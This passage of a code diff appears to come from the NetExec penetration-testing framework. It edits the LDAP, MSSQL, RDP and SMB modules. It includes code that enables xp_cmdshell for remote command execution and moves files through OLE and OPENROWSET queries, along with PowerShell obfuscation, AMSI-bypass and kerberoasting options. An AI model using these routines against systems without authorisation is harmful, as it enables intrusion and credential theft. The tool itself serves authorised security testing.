ldap_parser.add_argument("--port", type=int, choices={389, 636}, default=389, help="LDAP port (default: 389)")
ldap_parser.add_argument("--no-smb", action="store_true", help="No smb connection")
dgroup = ldap_parser.add_mutually_exclusive_group()
@@ -16,7 +13,6 @@ def proto_args(parser, parents):
egroup.add_argument("--kerberoasting", help="Output TGS ticket to crack with hashcat to file")
vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos")
vgroup.add_argument("--query", nargs=2, help="Query LDAP with a custom filter and attributes")
vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION")
vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD")
vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1")
@@ -33,6 +29,22 @@ def proto_args(parser, parents):
bgroup = ldap_parser.add_argument_group("Bloodhound Scan", "Options to play with Bloodhoud")
bgroup.add_argument("--bloodhound", action="store_true", help="Perform a Bloodhound scan")
bgroup.add_argument("-c", "--collection", default="Collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma")
bgroup.add_argument("-ns", "--nameserver", help="Custom DNS IP")
bgroup.add_argument("-c", "--collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma. (default: Default)'")
return parser
def get_conditional_action(baseAction):
class ConditionalAction(baseAction):
def __init__(self, option_strings, dest, **kwargs):
x = kwargs.pop("make_required", [])
super().__init__(option_strings, dest, **kwargs)
self.make_required = x
def __call__(self, parser, namespace, values, option_string=None):
for x in self.make_required:
x.required = True
super().__call__(parser, namespace, values, option_string)
return ConditionalAction
+33 -50
View File
@@ -2,7 +2,6 @@ import os
import random
import socket
import contextlib
from io import StringIO
from nxc.config import process_secret
from nxc.connection import connection
@@ -54,7 +53,7 @@ class mssql(connection):
def create_conn_obj(self):
try:
self.conn = tds.MSSQL(self.host, self.port, self.remoteName)
self.conn = tds.MSSQL(self.host, self.port)
# Default has not timeout option in tds.MSSQL.connect() function, let rewrite it.
af, socktype, proto, canonname, sa = socket.getaddrinfo(self.host, self.port, 0, socket.SOCK_STREAM)[0]
sock = socket.socket(af, socktype, proto)
@@ -74,6 +73,9 @@ class mssql(connection):
def wrapper(self, *args, **kwargs):
with contextlib.suppress(Exception):
self.conn.disconnect()
# When using ccache file, we must need to set target host to hostname when creating connection object.
if self.kerberos:
self.host = self.hostname
self.create_conn_obj()
return func(self, *args, **kwargs)
return wrapper
@@ -132,13 +134,6 @@ class mssql(connection):
if self.args.local_auth:
self.domain = self.hostname
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
def print_host_info(self):
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
return True
@@ -175,6 +170,7 @@ class mssql(connection):
self.username = username
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
try:
res = self.conn.kerberosLogin(
None,
@@ -301,55 +297,42 @@ class mssql(connection):
@requires_admin
def execute(self, payload=None, get_output=False):
payload = self.args.execute if not payload and self.args.execute else payload
if not payload:
self.logger.error("No command to execute specified!")
return None
get_output = True if not self.args.no_output else get_output
self.logger.debug(f"{get_output=}")
if not payload and self.args.execute:
payload = self.args.execute
if not self.args.no_output:
get_output = True
self.logger.info(f"Command to execute: {payload}")
try:
exec_method = MSSQLEXEC(self.conn, self.logger)
output = exec_method.execute(payload)
self.logger.debug(f"Output: {output}")
raw_output = exec_method.execute(payload, get_output)
except Exception as e:
self.logger.fail(f"Execute command failed, error: {e!s}")
return False
else:
self.logger.success("Executed command via mssqlexec")
if output:
output_lines = StringIO(output).readlines()
for line in output_lines:
self.logger.highlight(line.strip())
return output
self.logger.success("Executed command via mssqlexec")
if raw_output:
for line in raw_output:
self.logger.highlight(line)
return raw_output
@requires_admin
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False):
payload = self.args.ps_execute if not payload and self.args.ps_execute else payload
if not payload:
self.logger.error("No command to execute specified!")
return None
response = []
obfs = obfs if obfs else self.args.obfs
encode = encode if encode else not self.args.no_encode
force_ps32 = force_ps32 if force_ps32 else self.args.force_ps32
get_output = True if not self.args.no_output else get_output
self.logger.debug(f"Starting PS execute: {payload=} {get_output=} {methods=} {force_ps32=} {obfs=} {encode=}")
amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None
self.logger.debug(f"AMSI Bypass: {amsi_bypass}")
if os.path.isfile(payload):
self.logger.debug(f"File payload set: {payload}")
with open(payload) as commands:
response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output) for c in commands]
else:
response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output)]
self.logger.debug(f"ps_execute response: {response}")
return response
def ps_execute(
self,
payload=None,
get_output=False,
force_ps32=False,
dont_obfs=False,
):
if not payload and self.args.ps_execute:
payload = self.args.ps_execute
if not self.args.no_output:
get_output = True
# We're disabling PS obfuscation by default as it breaks the MSSQLEXEC execution method
ps_command = create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs)
return self.execute(ps_command, get_output)
@requires_admin
def put_file(self):
+27 -42
View File
@@ -5,85 +5,70 @@ class MSSQLEXEC:
def __init__(self, connection, logger):
self.mssql_conn = connection
self.logger = logger
self.outputBuffer = []
def execute(self, command):
result = None
def execute(self, command, output=False):
try:
self.logger.debug("Attempting to enable xp cmd shell")
self.enable_xp_cmdshell()
except Exception as e:
self.logger.error(f"Error when attempting to enable x_cmdshell: {e}")
try:
cmd = f"exec master..xp_cmdshell '{command}'"
self.logger.debug(f"Attempting to execute query: {cmd}")
result = self.mssql_conn.sql_query(cmd)
self.logger.debug(f"Raw results from query: {result}")
if result:
result = "\n".join(line["output"] for line in result if line["output"] != "NULL")
self.logger.debug(f"Concatenated result together for easier parsing: {result}")
# if you prepend SilentlyContinue it will still output the error, but it will still continue on (so it's not silent...)
if "Preparing modules for first use" in result and "Completed" not in result:
self.logger.error("Error when executing PowerShell (received 'preparing modules for first use'), try prepending $ProgressPreference = 'SilentlyContinue'; to your command")
result = self.mssql_conn.sql_query(f"exec master..xp_cmdshell '{command}'")
except Exception as e:
self.logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}")
try:
self.logger.debug("Attempting to disable xp cmd shell")
self.disable_xp_cmdshell()
except Exception as e:
self.logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}")
return result
if output:
self.logger.debug(f"SQL Query Result: {result}")
for row in result:
if row["output"] == "NULL":
continue
self.outputBuffer.append(row["output"])
else:
self.logger.info("Output set to disabled")
return self.outputBuffer
def enable_xp_cmdshell(self):
query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
def disable_xp_cmdshell(self):
query = "exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
self.mssql_conn.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;")
def enable_ole(self):
query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;")
def disable_ole(self):
query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;")
def put_file(self, data, remote):
try:
self.enable_ole()
hexdata = data.hex()
self.logger.debug(f"Hex data to write to file: {hexdata}")
query = f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
self.mssql_conn.sql_query(f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;")
self.disable_ole()
except Exception as e:
self.logger.debug(f"Error uploading via mssqlexec: {e}")
def file_exists(self, remote):
try:
query = f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n"
self.logger.debug(f"Executing query: {query}")
res = self.mssql_conn.batch(query)
self.logger.debug(f"File check response: {res}")
return res[0]["n"] == 1
res = self.mssql_conn.batch(f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n")[0]["n"]
return res == 1
except Exception:
return False
def get_file(self, remote, local):
try:
query = f"SELECT * FROM OPENROWSET(BULK N'{remote}', SINGLE_BLOB) rs"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
data = self.mssql_conn.rows
self.logger.debug(f"Get file returned: {data}")
self.mssql_conn.sql_query(f"SELECT * FROM OPENROWSET(BULK N'{remote}', SINGLE_BLOB) rs")
data = self.mssql_conn.rows[0]["BulkColumn"]
with open(local, "wb+") as f:
f.write(binascii.unhexlify(data[0]["BulkColumn"]))
f.write(binascii.unhexlify(data))
except Exception as e:
self.logger.debug(f"Error downloading via mssqlexec: {e}")
+9 -14
View File
@@ -1,11 +1,8 @@
from nxc.helpers.args import DisplayDefaultsNotNone
def proto_args(parser, parents):
mssql_parser = parser.add_parser("mssql", help="own stuff using MSSQL", parents=parents, formatter_class=DisplayDefaultsNotNone)
def proto_args(parser, std_parser, module_parser):
mssql_parser = parser.add_parser("mssql", help="own stuff using MSSQL", parents=[std_parser, module_parser])
mssql_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
mssql_parser.add_argument("--port", default=1433, type=int, metavar="PORT", help="MSSQL port")
mssql_parser.add_argument("--mssql-timeout", help="SQL server connection timeout", type=int, default=5)
mssql_parser.add_argument("--port", default=1433, type=int, metavar="PORT", help="MSSQL port (default: 1433)")
mssql_parser.add_argument("--mssql-timeout", help="SQL server connection timeout, default is %(default)s seconds", type=int, default=5)
mssql_parser.add_argument("-q", "--query", dest="mssql_query", metavar="QUERY", type=str, help="execute the specified query against the MSSQL DB")
dgroup = mssql_parser.add_mutually_exclusive_group()
@@ -13,20 +10,18 @@ def proto_args(parser, parents):
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
cgroup = mssql_parser.add_argument_group("Command Execution", "options for executing commands")
cgroup.add_argument("--force-ps32", action="store_true", help="force the PowerShell command to run in a 32-bit process")
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
xgroup = cgroup.add_mutually_exclusive_group()
xgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
xgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
psgroup = mssql_parser.add_argument_group("Powershell Options", "Options for PowerShell execution")
psgroup.add_argument("--force-ps32", action="store_true", default=False, help="Force the PowerShell command to run in a 32-bit process via a job; WARNING: depends on the job completing quickly, so you may have to increase the timeout")
psgroup.add_argument("--obfs", action="store_true", default=False, help="Obfuscate PowerShell ran on target; WARNING: Defender will almost certainly trigger on this")
psgroup.add_argument("--amsi-bypass", nargs=1, metavar="FILE", type=str, help="File with a custom AMSI bypass")
psgroup = mssql_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation")
psgroup.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts")
psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
psgroup.add_argument("--no-encode", action="store_true", default=False, help="Do not encode the PowerShell command ran on target")
tgroup = mssql_parser.add_argument_group("Files", "Options for put and get remote files")
tgroup.add_argument("--put-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Put a local file into remote target, ex: whoami.txt C:\\\\Windows\\\\Temp\\\\whoami.txt")
tgroup.add_argument("--get-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Get a remote file, ex: C:\\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
tgroup.add_argument("--put-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Put a local file into remote target, ex: whoami.txt C:\\Windows\\Temp\\whoami.txt")
tgroup.add_argument("--get-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Get a remote file, ex: C:\\Windows\\Temp\\whoami.txt whoami.txt")
return parser
+2 -18
View File
@@ -150,16 +150,10 @@ class rdp(connection):
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
self.target = RDPTarget(
ip=self.host,
hostname=self.hostname,
@@ -226,17 +220,7 @@ class rdp(connection):
else:
stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT
kerberos_target = UniTarget(
self.host,
88,
UniProto.CLIENT_TCP,
timeout=self.args.rdp_timeout,
hostname=self.remoteName,
dc_ip=self.kdcHost,
domain=self.domain,
proxies=None,
dns=None,
)
kerberos_target = UniTarget(self.domain, 88, UniProto.CLIENT_TCP, proxies=None, dns=None, dc_ip=self.domain, domain=self.domain)
self.auth = KerberosCredential(
target=kerberos_target,
secret=password,
+6 -9
View File
@@ -1,11 +1,8 @@
from nxc.helpers.args import DisplayDefaultsNotNone
def proto_args(parser, parents):
rdp_parser = parser.add_parser("rdp", help="own stuff using RDP", parents=parents, formatter_class=DisplayDefaultsNotNone)
def proto_args(parser, std_parser, module_parser):
rdp_parser = parser.add_parser("rdp", help="own stuff using RDP", parents=[std_parser, module_parser])
rdp_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
rdp_parser.add_argument("--port", type=int, default=3389, help="RDP port")
rdp_parser.add_argument("--rdp-timeout", type=int, default=5, help="RDP timeout on socket connection")
rdp_parser.add_argument("--port", type=int, default=3389, help="Custom RDP port")
rdp_parser.add_argument("--rdp-timeout", type=int, default=5, help="RDP timeout on socket connection, defalut is %(default)ss")
rdp_parser.add_argument("--nla-screenshot", action="store_true", help="Screenshot RDP login prompt if NLA is disabled")
dgroup = rdp_parser.add_mutually_exclusive_group()
@@ -14,7 +11,7 @@ def proto_args(parser, parents):
egroup = rdp_parser.add_argument_group("Screenshot", "Remote Desktop Screenshot")
egroup.add_argument("--screenshot", action="store_true", help="Screenshot RDP if connection success")
egroup.add_argument("--screentime", type=int, default=10, help="Time to wait for desktop image")
egroup.add_argument("--res", default="1024x768", help="Resolution in WIDTHxHEIGHT format")
egroup.add_argument("--screentime", type=int, default=10, help="Time to wait for desktop image, default is %(default)ss")
egroup.add_argument("--res", default="1024x768", help='Resolution in "WIDTHxHEIGHT" format. Default: "1024x768"')
return parser
+83 -211
View File
@@ -49,13 +49,12 @@ from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.powershell import create_ps_command
from dploot.triage.vaults import VaultsTriage
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken
from dploot.triage.browser import BrowserTriage
from dploot.triage.credentials import CredentialsTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
from dploot.triage.backupkey import BackupkeyTriage
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from dploot.triage.sccm import SCCMTriage
from pywerview.cli.helpers import get_localdisks, get_netsession, get_netgroupmember, get_netgroup, get_netcomputer, get_netloggedon, get_netlocalgroup
@@ -147,9 +146,6 @@ class smb(connection):
def __init__(self, args, db, host):
self.domain = None
self.server_os = None
self.server_os_major = None
self.server_os_minor = None
self.server_os_build = None
self.os_arch = 0
self.hash = None
self.lmhash = ""
@@ -164,7 +160,6 @@ class smb(connection):
self.no_da = None
self.no_ntlm = False
self.protocol = "SMB"
self.is_guest = None
connection.__init__(self, args, db, host)
@@ -233,19 +228,7 @@ class smb(connection):
self.domain = self.hostname
self.targetDomain = self.hostname
# As of June 2024 Samba will always report the version as "Windows 6.1", apparently due to a bug https://stackoverflow.com/a/67577401/17395725
# Together with the reported build version "0" by Samba we can assume that it is a Samba server. Windows should always report a build version > 0
# Also only on Windows we should get an OS arch as for that we would need MSRPC
self.server_os = self.conn.getServerOS()
self.server_os_major = self.conn.getServerOSMajor()
self.server_os_minor = self.conn.getServerOSMinor()
self.server_os_build = self.conn.getServerOSBuild()
if "Windows 6.1" in self.server_os and self.server_os_build == 0 and self.os_arch == 0:
self.server_os = "Unix - Samba"
elif self.server_os_build == 0 and self.os_arch == 0:
self.server_os = "Unix"
self.logger.debug(f"Server OS: {self.server_os} {self.server_os_major}.{self.server_os_minor} build {self.server_os_build}")
self.logger.extra["hostname"] = self.hostname
if isinstance(self.server_os.lower(), bytes):
@@ -273,14 +256,6 @@ class smb(connection):
self.conn.logoff()
except Exception as e:
self.logger.debug(f"Error logging off system: {e}")
# DCOM connection with kerberos needed
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
def print_host_info(self):
signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
@@ -291,8 +266,9 @@ class smb(connection):
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
logging.getLogger("impacket").disabled = True
# Re-connect since we logged off
self.logger.debug(f"KDC set to: {kdcHost}")
self.create_conn_obj()
kdc_host = f"{self.hostname}.{self.domain}" if not self.no_ntlm else f"{self.host}"
self.logger.debug(f"KDC set to: {kdc_host}")
self.create_conn_obj(kdc_host)
lmhash = ""
nthash = ""
@@ -326,8 +302,7 @@ class smb(connection):
self.logger.debug(f"Got TGS for {self.args.delegate} through S4U")
self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs)
if "Unix" not in self.server_os:
self.check_if_admin()
self.check_if_admin()
if username == "":
self.username = self.conn.getCredentials()[0]
@@ -392,11 +367,8 @@ class smb(connection):
self.domain = domain
self.conn.login(self.username, self.password, domain)
self.logger.debug(f"Logged in with password to SMB with {domain}/{self.username}")
self.is_guest = bool(self.conn.isGuestSession())
self.logger.debug(f"{self.is_guest=}")
if "Unix" not in self.server_os:
self.check_if_admin()
self.check_if_admin()
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
self.db.add_credential("plaintext", domain, self.username, self.password)
user_id = self.db.get_credential("plaintext", domain, self.username, self.password)
@@ -404,7 +376,7 @@ class smb(connection):
self.db.add_loggedin_relation(user_id, host_id)
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_guest()}{self.mark_pwned()}"
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
self.logger.success(out)
if not self.args.local_auth and self.username != "":
@@ -464,17 +436,14 @@ class smb(connection):
self.nthash = nthash
self.conn.login(self.username, "", domain, lmhash, nthash)
self.logger.debug(f"Logged in with hash to SMB with {domain}/{self.username}")
self.is_guest = bool(self.conn.isGuestSession())
self.logger.debug(f"{self.is_guest=}")
if "Unix" not in self.server_os:
self.check_if_admin()
user_id = self.db.add_credential("hash", domain, self.username, self.hash)
self.check_if_admin()
user_id = self.db.add_credential("hash", domain, self.username, nthash)
host_id = self.db.get_hosts(self.host)[0].id
self.db.add_loggedin_relation(user_id, host_id)
out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_guest()}{self.mark_pwned()}"
out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_pwned()}"
self.logger.success(out)
if not self.args.local_auth and self.username != "":
@@ -506,11 +475,11 @@ class smb(connection):
self.logger.fail("Broken Pipe Error while attempting to login")
return False
def create_smbv1_conn(self):
def create_smbv1_conn(self, kdc=""):
try:
self.conn = SMBConnection(
self.remoteName,
self.host,
kdc if kdc else self.host,
kdc if kdc else self.host,
None,
self.port,
preferredDialect=SMB_DIALECT,
@@ -519,19 +488,19 @@ class smb(connection):
self.smbv1 = True
except OSError as e:
if str(e).find("Connection reset by peer") != -1:
self.logger.info(f"SMBv1 might be disabled on {self.host}")
self.logger.info(f"SMBv1 might be disabled on {kdc if kdc else self.host}")
return False
except (Exception, NetBIOSTimeout) as e:
self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
self.logger.info(f"Error creating SMBv1 connection to {kdc if kdc else self.host}: {e}")
return False
return True
def create_smbv3_conn(self):
def create_smbv3_conn(self, kdc=""):
try:
self.conn = SMBConnection(
self.remoteName,
self.host,
kdc if kdc else self.host,
kdc if kdc else self.host,
None,
self.port,
timeout=self.args.smb_timeout,
@@ -543,18 +512,17 @@ class smb(connection):
if not self.logger:
print("DEBUG ERROR: logger not set, please open an issue on github: " + str(self) + str(self.logger))
self.proto_logger()
self.logger.fail(f"SMBv3 connection error on {self.host}: {e}")
self.logger.fail(f"SMBv3 connection error on {kdc if kdc else self.host}: {e}")
return False
except (Exception, NetBIOSTimeout) as e:
self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}")
self.logger.info(f"Error creating SMBv3 connection to {kdc if kdc else self.host}: {e}")
return False
return True
def create_conn_obj(self):
return bool(self.create_smbv1_conn() or self.create_smbv3_conn())
def create_conn_obj(self, kdc_host=None):
return bool(self.create_smbv1_conn(kdc_host) or self.create_smbv3_conn(kdc_host))
def check_if_admin(self):
self.logger.debug(f"Checking if user is admin on {self.host}")
rpctransport = SMBTransport(self.conn.getRemoteHost(), 445, r"\svcctl", smb_connection=self.conn)
dce = rpctransport.get_dce_rpc()
try:
@@ -568,7 +536,6 @@ class smb(connection):
# 0xF003F - SC_MANAGER_ALL_ACCESS
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
scmr.hROpenSCManagerW(dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F)
self.logger.debug(f"User is admin on {self.host}!")
self.admin_privs = True
except scmr.DCERPCException:
self.admin_privs = False
@@ -597,7 +564,7 @@ class smb(connection):
if method == "wmiexec":
try:
exec_method = WMIEXEC(
self.remoteName,
self.host if not self.kerberos else self.hostname + "." + self.domain,
self.smb_share_name,
self.username,
self.password,
@@ -606,7 +573,6 @@ class smb(connection):
self.kerberos,
self.aesKey,
self.kdcHost,
self.host,
self.hash,
self.args.share,
logger=self.logger,
@@ -621,25 +587,18 @@ class smb(connection):
continue
elif method == "mmcexec":
try:
# https://github.com/fortra/impacket/issues/1611
if self.kerberos:
raise Exception("MMCExec current is buggly with kerberos")
exec_method = MMCEXEC(
self.remoteName,
self.host if not self.kerberos else self.hostname + "." + self.domain,
self.smb_share_name,
self.username,
self.password,
self.domain,
self.conn,
self.kerberos,
self.aesKey,
self.kdcHost,
self.host,
self.hash,
self.args.share,
logger=self.logger,
timeout=self.args.dcom_timeout,
tries=self.args.get_output_tries
self.hash,
self.logger,
self.args.get_output_tries,
self.args.dcom_timeout
)
self.logger.info("Executed command via mmcexec")
break
@@ -657,7 +616,6 @@ class smb(connection):
self.domain,
self.kerberos,
self.aesKey,
self.host,
self.kdcHost,
self.hash,
self.logger,
@@ -676,12 +634,12 @@ class smb(connection):
self.host if not self.kerberos else self.hostname + "." + self.domain,
self.smb_share_name,
self.conn,
self.port,
self.username,
self.password,
self.domain,
self.kerberos,
self.aesKey,
self.host,
self.kdcHost,
self.hash,
self.args.share,
@@ -707,19 +665,14 @@ class smb(connection):
except UnicodeDecodeError:
self.logger.debug("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings")
output = output.decode("cp437")
self.logger.debug(f"Raw Output: {output}")
output = "\n".join([ll.rstrip() for ll in output.splitlines() if ll.strip()])
self.logger.debug(f"Cleaned Output: {output}")
if "This script contains malicious content" in output:
self.logger.fail("Command execution blocked by AMSI")
return None
output = output.strip()
self.logger.debug(f"Output: {output}")
if (self.args.execute or self.args.ps_execute) and output:
self.logger.success(f"Executed command via {current_method}")
output_lines = StringIO(output).readlines()
for line in output_lines:
buf = StringIO(output).readlines()
for line in buf:
self.logger.highlight(line.strip())
return output
else:
@@ -727,30 +680,26 @@ class smb(connection):
return False
@requires_admin
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False):
payload = self.args.ps_execute if not payload and self.args.ps_execute else payload
if not payload:
self.logger.error("No command to execute specified!")
return None
def ps_execute(
self,
payload=None,
get_output=False,
methods=None,
force_ps32=False,
dont_obfs=False,
):
response = []
obfs = obfs if obfs else self.args.obfs
encode = encode if encode else not self.args.no_encode
force_ps32 = force_ps32 if force_ps32 else self.args.force_ps32
get_output = True if not self.args.no_output else get_output
self.logger.debug(f"Starting ps_execute(): {payload=} {get_output=} {methods=} {force_ps32=} {obfs=} {encode=}")
if not payload and self.args.ps_execute:
payload = self.args.ps_execute
if not self.args.no_output:
get_output = True
amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None
self.logger.debug(f"AMSI Bypass: {amsi_bypass}")
if os.path.isfile(payload):
self.logger.debug(f"File payload set: {payload}")
with open(payload) as commands:
response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods) for c in commands]
response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, dont_obfs=dont_obfs, custom_amsi=amsi_bypass), get_output, methods) for c in commands]
else:
response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods)]
self.logger.debug(f"ps_execute response: {response}")
response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs, custom_amsi=amsi_bypass), get_output, methods)]
return response
def shares(self):
@@ -1124,9 +1073,9 @@ class smb(connection):
namespace = self.args.wmi_namespace
try:
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
dcom = DCOMConnection(self.host if not self.kerberos else self.hostname + "." + self.domain, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey)
iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout)
flag, stringBinding = dcom_FirewallChecker(iInterface, self.args.dcom_timeout)
if not flag or not stringBinding:
error_msg = f"WMI Query: Dcom initialization failed on connection with stringbinding: '{stringBinding}', please increase the timeout with the option '--dcom-timeout'. If it's still failing maybe something is blocking the RPC connection, try another exec method"
@@ -1152,8 +1101,7 @@ class smb(connection):
record = wmi_results.getProperties()
records.append(record)
for k, v in record.items():
if k != "TimeGenerated": # from the wcc module, but this is a small hack to get it to stop spamming - TODO: add in method to disable output for this function
self.logger.highlight(f"{k} => {v['value']}")
self.logger.highlight(f"{k} => {v['value']}")
except Exception as e:
if str(e).find("S_FALSE") < 0:
raise e
@@ -1207,16 +1155,20 @@ class smb(connection):
max_rid = int(self.args.rid_brute)
KNOWN_PROTOCOLS = {
135: {"bindstr": rf"ncacn_ip_tcp:{self.host}"},
139: {"bindstr": rf"ncacn_np:{self.host}[\pipe\lsarpc]"},
445: {"bindstr": rf"ncacn_np:{self.host}[\pipe\lsarpc]"},
135: {"bindstr": r"ncacn_ip_tcp:%s", "set_host": False},
139: {"bindstr": r"ncacn_np:{}[\pipe\lsarpc]", "set_host": True},
445: {"bindstr": r"ncacn_np:{}[\pipe\lsarpc]", "set_host": True},
}
try:
